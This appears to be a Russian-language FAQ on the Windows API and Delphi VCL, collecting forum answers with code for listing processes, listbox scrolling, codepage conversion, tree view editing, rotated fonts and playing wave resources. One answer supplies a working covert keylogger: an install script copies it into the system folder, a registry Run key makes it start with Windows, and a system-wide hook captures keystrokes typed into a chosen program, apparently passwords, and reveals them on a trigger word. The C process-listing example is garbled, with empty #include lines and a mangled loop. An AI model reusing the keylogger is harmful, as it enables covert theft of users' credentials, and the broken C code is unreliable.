[Оглавление] [1] [2] [3] [4] [5] [6] [7]

Windows API & Delphi VCL FAQ

Часть 3

Q: [Win32] Как получить хэндлы всех пpоцессов, котоpые запущены на данный момент в системе?
A: [W95] под Windows 95 это возможно с использованием вспомогательных инфоpмационных функций (tool help functions).

Для получения списка пpоцессов надо делать следующее:

Cпеpва вызывается фукция hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0) //- получение снимка состояния системы
Process32First() - получене инфоpмации о пеpвом пpоцессе в списке
Далее в цикле Process32Next() - получение инфоpмации о следующем пpоцессе в списке

Dima Bogachev
(2:5020/1056.18)

Пример:

unit KernlUtl;

interface
uses TlHelp32, Windows, Classes, Sysutils;

procedure GetProcessList(List: TStrings);
procedure GetModuleList(List: TStrings);
function GetProcessHandle(ProcessID: DWORD): THandle;
procedure GetParentProcessInfo(var ID: DWORD; var Path: String);

const

  PROCESS_TERMINATE         =  $0001;
  PROCESS_CREATE_THREAD     =  $0002;
  PROCESS_VM_OPERATION      =  $0008;
  PROCESS_VM_READ           =  $0010;
  PROCESS_VM_WRITE          =  $0020;
  PROCESS_DUP_HANDLE        =  $0040;
  PROCESS_CREATE_PROCESS    =  $0080;
  PROCESS_SET_QUOTA         =  $0100;
  PROCESS_SET_INFORMATION   =  $0200;
  PROCESS_QUERY_INFORMATION =  $0400;
  PROCESS_ALL_ACCESS        =
    STANDARD_RIGHTS_REQUIRED or SYNCHRONIZE or $0FFF;


implementation

procedure GetProcessList(List: TStrings);
var
  I: Integer;
  hSnapshoot: THandle;
  pe32: TProcessEntry32;
begin
  List.Clear;
  hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

  if (hSnapshoot = -1) then
      Exit;
  pe32.dwSize := SizeOf(TProcessEntry32);
  if (Process32First(hSnapshoot, pe32)) then
  repeat
    I := List.Add(Format('%x, %x: %s',
      [pe32.th32ProcessID, pe32.th32ParentProcessID, pe32.szExeFile]));
    List.Objects[I] := Pointer(pe32.th32ProcessID);
  until not Process32Next(hSnapshoot, pe32);

  CloseHandle (hSnapshoot);
end;

procedure GetModuleList(List: TStrings);
var
  I: Integer;
  hSnapshoot: THandle;
  me32: TModuleEntry32;
begin
  List.Clear;
  hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0);
  if (hSnapshoot = -1) then
      Exit;
  me32.dwSize := SizeOf(TModuleEntry32);
  if (Module32First(hSnapshoot, me32)) then
  repeat
    I := List.Add(me32.szModule);
    List.Objects[I] := Pointer(me32.th32ModuleID);
  until not Module32Next(hSnapshoot, me32);

  CloseHandle (hSnapshoot);
end;

procedure GetParentProcessInfo(var ID: DWORD; var Path: String);
var
  ProcessID: DWORD;
  hSnapshoot: THandle;
  pe32: TProcessEntry32;
begin
  ProcessID := GetCurrentProcessID;
  ID := -1;
  Path := '';

  hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

  if (hSnapshoot = -1) then
      Exit;

  pe32.dwSize := SizeOf(TProcessEntry32);
  if (Process32First(hSnapshoot, pe32)) then
  repeat
    if pe32.th32ProcessID = ProcessID then
    begin
      ID := pe32.th32ParentProcessID;
      Break;
    end;
  until not Process32Next(hSnapshoot, pe32);

  if ID <> -1 then
  begin
    if (Process32First(hSnapshoot, pe32)) then
    repeat
      if pe32.th32ProcessID = ID then
      begin
        Path := pe32.szExeFile;
        Break;
      end;
    until not Process32Next(hSnapshoot, pe32);
  end;
  CloseHandle (hSnapshoot);
end;

function GetProcessHandle(ProcessID: DWORD): THandle;
begin
  Result := OpenProcess(PROCESS_ALL_ACCESS, True, ProcessID);
end;

end.

Vladimir Gaitanoff
(2:5020/880.5)

[WNT] Под Windows NT: Исходный текст на языке Си.

#include 

#include 

typedef long   (*NtQSI)(LONG, PVOID,LONG, LONG);

struct ThreadInfo
{
        FILETIME ftCreationTime;
        DWORD dwUnknown1;
        DWORD dwStartAddress;
        DWORD dwOwningPID;
        DWORD dwThreadID;
        DWORD dwCurrentPriority;
        DWORD dwBasePriority;
        DWORD dwContextSwitches;
        DWORD dwThreadState;
        DWORD dwUnknown2;
        DWORD dwUnknown3;
        DWORD dwUnknown4;
        DWORD dwUnknown5;
        DWORD dwUnknown6;
        DWORD dwUnknown7;
};

struct ProcessInfo
{
        DWORD dwOffset; // an ofset to the next Process structure
        DWORD dwThreadCount;
        DWORD dwUnkown1[6];
        FILETIME ftCreationTime;
        DWORD dwUnkown2;
        DWORD dwUnkown3;
        DWORD dwUnkown4;
        DWORD dwUnkown5;
        DWORD dwUnkown6;
        WCHAR* pszProcessName;
        DWORD dwBasePriority;
        DWORD dwProcessID;
        DWORD dwParentProcessID;
        DWORD dwHandleCount;
        DWORD dwUnkown7;
        DWORD dwUnkown8;
        DWORD dwVirtualBytesPeak;
        DWORD dwVirtualBytes;
        DWORD dwPageFaults;
        DWORD dwWorkingSetPeak;
        DWORD dwWorkingSet;
        DWORD dwUnkown9;
        DWORD dwPagedPool; // kbytes
        DWORD dwUnkown10;
        DWORD dwNonPagedPool; // kbytes
        DWORD dwPageFileBytesPeak;
        DWORD dwPageFileBytes;
        DWORD dwPrivateBytes;
        DWORD dwUnkown11;
        DWORD dwUnkown12;
        DWORD dwUnkown13;
        DWORD dwUnkown14;
        struct ThreadInfo ati[1];
};


    NtQSI ntqsi;
    HANDLE h;
    int i;
    long j;
    long tt;
    char *vt; // UNICODE

    struct ThreadInfo  *tinfo, *tinf2;
    struct ProcessInfo *pinfo;

    char buf[20480];

void main()
{
    h=LoadLibrary("NTDLL.DLL");
    ntqsi = (NtQSI)GetProcAddress(h,"NtQuerySystemInformation");

    j = (*ntqsi)(5,buf,20480,0);
    pinfo = buf;

    for(;;){
       vt = pinfo->pszProcessName;
       printf("%4lX|%13s|%8ld|%7lX|%7ld",
          pinfo->dwProcessID,vt,
          pinfo->dwThreadCount,pinfo->dwParentProcessID,
          pinfo->dwOffset);
       printf("|%4ld\n",pinfo->dwBasePriority);
       printf("\t|  ID|Owner|State|Priority|Base Priority\n");
       tinfo = &pinfo->ati[0];

       for(i=0;idwThreadCount;++i){
          tinf2 = &tinfo[i];
          printf("\t|%4lX|%5lX|%5lX|%8s|%8s\n",
             tinf2->dwThreadID,
             tinf2->dwOwningPID,
             tinf2->dwThreadState,
             tinf2->dwCurrentPriority,
             tinf2->dwBasePriority);
       }
       if(pinfo->dwOffset==0) break;
       pinfo = (struct ProcessInfo*)((char *)pinfo + pinfo->dwOffset);
    }
}

Viktor Krapivin
(2:450/102.13).

Q: [VCL] Как добавить горизонтальную полосу прокрутки в TListBox?
A: Компонент VCL TListBox автоматически реализует вертикальную полосу прокрутки. Полоска прокрутки появляется, когда окно списка слишком мало для показа всех элементов списка. Однако окно списка не показывает горизонтальной полосы прокрутки, когда какие-либо элементы списка имеют большую ширину, чем само окно списка. Конечно, есть возможность добавить горизонтальную полосу прокрутки. Добавьте следующий код в обработчик события OnCreate Вашей формы:

procedure TForm1.FormCreate(Sender: TObject);
var
  i, MaxWidth: integer;
begin
  MaxWidth := 0;
  for i := 0 to ListBox1.Items.Count - 1 do
    if MaxWidth < ListBox1.Canvas.TextWidth(ListBox1.Items.Strings[i]) then
      MaxWidth := ListBox1.Canvas.TextWidth(ListBox1.Items.Strings[i]);
    SendMessage(ListBox1.Handle, LB_SETHORIZONTALEXTENT, MaxWidth+2, 0);
end;

Этот код находит ширину, в пикселах, самой длинной строки в окне списка. Затем он использует сообщение LB_SETHORIZONTALEXTENT для установки горизонтальной прокручиваемой ширины, в пикселах, для окна списка. Два дополнительных пиксела добавлены к MaxWidth, чтобы сдвинуть оконечные символы от правой границы окна списка.

Q: Как сконверировать строку из одной кодировки в другую?
A: Для перекодирования из текущей кодировки DOS в текущую кодировку Windows есть функции:

Win16: OemToAnsi, AnsiToOem;
Win32: OemToChar, CharToOem.

И они же с суффиксом Buf.

Если Вы хотите работать с другими кодировками (ISO, 4e) или получить тот же результат вне зависимости системной локализации,

Примечание: не пытайся копировать таблицу из письма, так как здесь кодировка KOI8r, а набей ее сам вручную.

type
  TXlatTable = array[0..255] of Char;
  PXlatTable = ^TXlatTable;
const
  Cp866To1251 : TXlatTable = (
   #0,#1,#2,#3,#4,#5,#6,#7,#8,#9,#10,#11,#12,#13,#14,#15,
   #16,#17,#18,#19,#20,#21,#22,#23,#24,#25,#26,#27,#28,#29,#30,#31,
   ' ','!','"','#','$','%','&','''','(',')','*','+',',','-','.','/',
    '0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?',
   '@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O',
    'P','Q','R','S','T','U','V','W','X','Y','Z','[','\',']','^','_',
    '`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',
    'p','q','r','s','t','u','v','w','x','y','z','{','|','}','~',#127,
   'А','Б','В','Г','Д','Е','Ж','З','И','Й','К','Л','М','H','О','П',
    'Р','С','Т','У','Ф','Х','Ц','Ч','Ш','Щ','Ъ','Ы','Ь','Э','Ю','Я',
    'а','б','в','г','д','е','ж','з','и','й','к','л','м','н','о','п',
    '.','.','.','.','.','.','.','.','.','.','.','.','.','.','.','.',
    '.','.','.','.','.','.','.','.','.','.','.','.','.','.','.','.',
    '.','.','.','.','.','.','.','.','.','.','.','.','.','.','.','.',
    'р','с','т','у','ф','х','ц','ч','ш','щ','ъ','ы','ь','э','ю','я',
  'Ё','ё','?','ё','?','?','?','?','°','·','·',#251,'?','?',#254,#255);

function XlatConvert(const Value:string;
                     const CvtTable:PXlatTable): string;

Implementation

{***********************************
 * Xlat Convering utility          *
 * for Transliterate, Upper, Lower *
 ***********************************}
function XlatConvert(const Value:string;
                     const CvtTable:PXlatTable) : string;
var
  I : Integer;
begin
  if CvtTable = nil then
    Result := Value
  else begin
    Result := '';
    for I := 1 to Length(Value) do begin
      Result := Result + CvtTable^[Byte(Value[I])];
    end;
  end;
end; {XlatConvert}

Anatoly Podgoretsky
kvk@estpak.ee.

Q: Хотелось бы иметь возможность отмены вставки нового узла в TTreeView по нажатию кнопки Esc. Как сделать?
A:

unit BetterTreeView;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ComCtrls, CommCtrl;

type
  TTVNewEditCancelEvent = procedure( Sender: TObject;
    Node: TTreeNode; var Delete: Boolean) of object;
  TBetterTreeView = class(TTreeView)
  protected
    FIsEditingNew: Boolean;
    FOnEditCancel: TTVChangedEvent;
    FOnNewEditCancel: TTVNewEditCancelEvent;
    procedure Edit(const Item: TTVItem); override;
  public
    function NewChildAndEdit(Node: TTreeNode; const S: String)
      : TTreeNode;
  published
    property IsEditingNew: Boolean read FIsEditingNew;
    property OnEditCancel: TTVChangedEvent
      read FOnEditCancel write FOnEditCancel;
    property OnNewEditCancel: TTVNewEditCancelEvent
      read FOnNewEditCancel write FOnNewEditCancel;
  end;

implementation

procedure TBetterTreeView.Edit(const Item: TTVItem);
var
  Node: TTreeNode;
  Action: Boolean;
begin
  with Item do begin
    { Get the node }
    if (state and TVIF_PARAM) <> 0 then
      Node := Pointer(lParam)
    else
      Node := Items.GetNode(hItem);

    if pszText = nil then begin
      if FIsEditingNew then begin
        Action := True;
        if Assigned(FOnNewEditCancel) then
          FOnNewEditCancel(Self, Node, Action);
        if Action then
          Node.Destroy
      end
      else
        if Assigned(FOnEditCancel) then
          FOnEditCancel(Self, Node);
    end
    else
      inherited;
  end;
  FIsEditingNew := False;
end;

function TBetterTreeView.NewChildAndEdit
  (Node: TTreeNode; const S: String): TTreeNode;
begin
  SetFocus;
  Result := Items.AddChild(Node, S);
  FIsEditingNew := True;
  Node.Expand(False);
  Result.EditText;
  SetFocus;
end;

end.

Q: [Win32] Как отловить нажатия клавиш для всех процессов в системе?
A: Вот, может поможет:

Setup.bat

@echo off
copy HookAgnt.dll %windir%\system
copy kbdhook.exe %windir%\system
start HookAgnt.reg

HookAgnt.reg

REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"kbdhook"="kbdhook.exe"

KbdHook.dpr

program cwbhook;

uses Windows, Dialogs;

var
  hinstDLL: HINST;
  hkprcKeyboard: TFNHookProc;
  msg: TMsg;

begin
  hinstDLL := LoadLibrary('HookAgnt.dll');
  hkprcKeyboard := GetProcAddress(hinstDLL, 'KeyboardProc');
  SetWindowsHookEx(WH_KEYBOARD, hkprcKeyboard, hinstDLL, 0);
  repeat until not GetMessage(msg, 0, 0, 0);
end.

HookAgnt.dpr

library HookAgent;

uses Windows, KeyboardHook in 'KeyboardHook.pas';

exports
  KeyboardProc;

var
  hFileMappingObject: THandle;
  fInit: Boolean;

{----------------------------\
|                            |
|     DLL_PROCESS_DETACH     |
|                            |
\----------------------------}

procedure DLLMain(Reason: Integer);
begin

  if Reason = DLL_PROCESS_DETACH then
  begin
    UnmapViewOfFile(lpvMem);
    CloseHandle(hFileMappingObject);
  end;

end;

{----------------------------\
|                            |
|     DLL_PROCESS_ATTACH     |
|                            |
\----------------------------}

begin
  DLLProc := @DLLMain;

  hFileMappingObject := CreateFileMapping(
    THandle($FFFFFFFF), // use paging file
    nil,                // no security attributes
    PAGE_READWRITE,     // read/write access
    0,                  // size: high 32 bits
    4096,               // size: low 32 bits
    'HookAgentShareMem' // name of map object
  );

  if hFileMappingObject = INVALID_HANDLE_VALUE then
  begin
    ExitCode := 1;
    Exit;
  end;

  fInit := GetLastError() <> ERROR_ALREADY_EXISTS;

  lpvMem := MapViewOfFile(
    hFileMappingObject, // object to map view of
    FILE_MAP_WRITE,     // read/write access
    0,                  // high offset: map from
    0,                  // low offset:  beginning
    0                   // default: map entire file
  );

  if lpvMem = nil then
  begin
    CloseHandle(hFileMappingObject);
    ExitCode := 1;
    Exit;
  end;

  if fInit then
    FillChar(lpvMem, PASSWORDSIZE, #0);

end.

KeyboardHook.pas

unit KeyboardHook;

interface

uses Windows;

{------------------------------------------\
|                                          |
|     Глобальные переменные и константы    |
|                                          |
\------------------------------------------}

const
  PASSWORDSIZE = 16;

var
  g_hhk: HHOOK;
  g_szKeyword: array[0..PASSWORDSIZE-1] of char;
  lpvMem: Pointer;

function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT; stdcall;

implementation

uses SysUtils, Dialogs;

function KeyboardProc(nCode: Integer; wParam: WPARAM;
  lParam: LPARAM ): LRESULT;

var
  szModuleFileName: array[0..MAX_PATH-1] of Char;
  szKeyName: array[0..16] of Char;
  lpszPassword: PChar;

begin
  lpszPassword := PChar(lpvMem);

  if (nCode = HC_ACTION) and (((lParam shr 16) and KF_UP) = 0) then
  begin
    GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));

    if StrLen(g_szKeyword) + StrLen(szKeyName) >= PASSWORDSIZE then
      lstrcpy(g_szKeyword, g_szKeyword + StrLen(szKeyName));

    lstrcat(g_szKeyword, szKeyName);

    GetModuleFileName(0, szModuleFileName, sizeof(szModuleFileName));

    if (StrPos(StrUpper(szModuleFileName),'__ТО_ЧЕГО_НАДО__') <> nil) and
       (strlen(lpszPassword) + strlen(szKeyName) < PASSWORDSIZE) then
      lstrcat(lpszPassword, szKeyName);

    if StrPos(StrUpper(g_szKeyword), 'GOLDENEYE') <> nil then
    begin
      ShowMessage(lpszPassword);
      g_szKeyword[0] := #0;
    end;

    Result := 0;
  end

  else
    Result := CallNextHookEx(g_hhk, nCode, wParam, lParam);

end;

end.

Alexander Tkachenko
(2:5055/62.6).

Q: Как вывести на Canvas надпись под углом?
A: Вот, взгляни.

...
function CreateRotatedFont(F : TFont; Angle : Integer) : hFont;
  {-create a rotated font based on the font object F}
var
  LF : TLogFont;
begin
  FillChar(LF, SizeOf(LF), #0);
  with LF do begin
    lfHeight           := F.Height;
    lfWidth            := 0;
    lfEscapement       := Angle*10;
    lfOrientation      := 0;
    if fsBold in F.Style then
      lfWeight         := FW_BOLD
    else
      lfWeight         := FW_NORMAL;
    lfItalic           := Byte(fsItalic in F.Style);
    lfUnderline        := Byte(fsUnderline in F.Style);
    lfStrikeOut        := Byte(fsStrikeOut in F.Style);
    lfCharSet          := DEFAULT_CHARSET;
    StrPCopy(lfFaceName, F.Name);
    lfQuality          := DEFAULT_QUALITY;
    {everything else as default}
    lfOutPrecision     := OUT_DEFAULT_PRECIS;
    lfClipPrecision    := CLIP_DEFAULT_PRECIS;
    case F.Pitch of
      fpVariable : lfPitchAndFamily := VARIABLE_PITCH;
      fpFixed    : lfPitchAndFamily := FIXED_PITCH;
    else
      lfPitchAndFamily := DEFAULT_PITCH;
    end;
  end;
  Result := CreateFontIndirect(LF);
end;

...

  {create the rotated font}
  if FontAngle <> 0 then
    Canvas.Font.Handle := CreateRotatedFont(Font, FontAngle);
...

Вращаются только векторные шрифты.

Nikita Popov
nix@tekton.dol.ru
(2:5020/87.2).

Q: Как проиграть Wave-ресурс?
A: Сначала делаешь файл SOUND.RC, в нем строка вида: MY_WAV RCDATA TEST.WAV Компилишь чем-нибyдь в *.RES

Далее в тексте:

{$R полное_имя_файла_с_ресурсом}

 var WaveHandle  : THandle;
       WavePointer : pointer;
 ...
  WaveHandle  := FindResource(hInstance,'MY_WAV',RT_RCDATA);
   if WaveHandle<>0 then begin
     WaveHandle:= LoadResource(hInstance,WaveHandle);
      if WaveHandle<>0 then begin;
         WavePointer := LockResource(WaveHandle);
          PlayResourceWave := sndPlaySound(WavePointer,snd_Memory OR SND_ASYNC);
          UnlockResource(WaveHandle);
          FreeResource(WaveHandle);
      end;
  end;

Serg Vostrikov
(2:5053/15.3).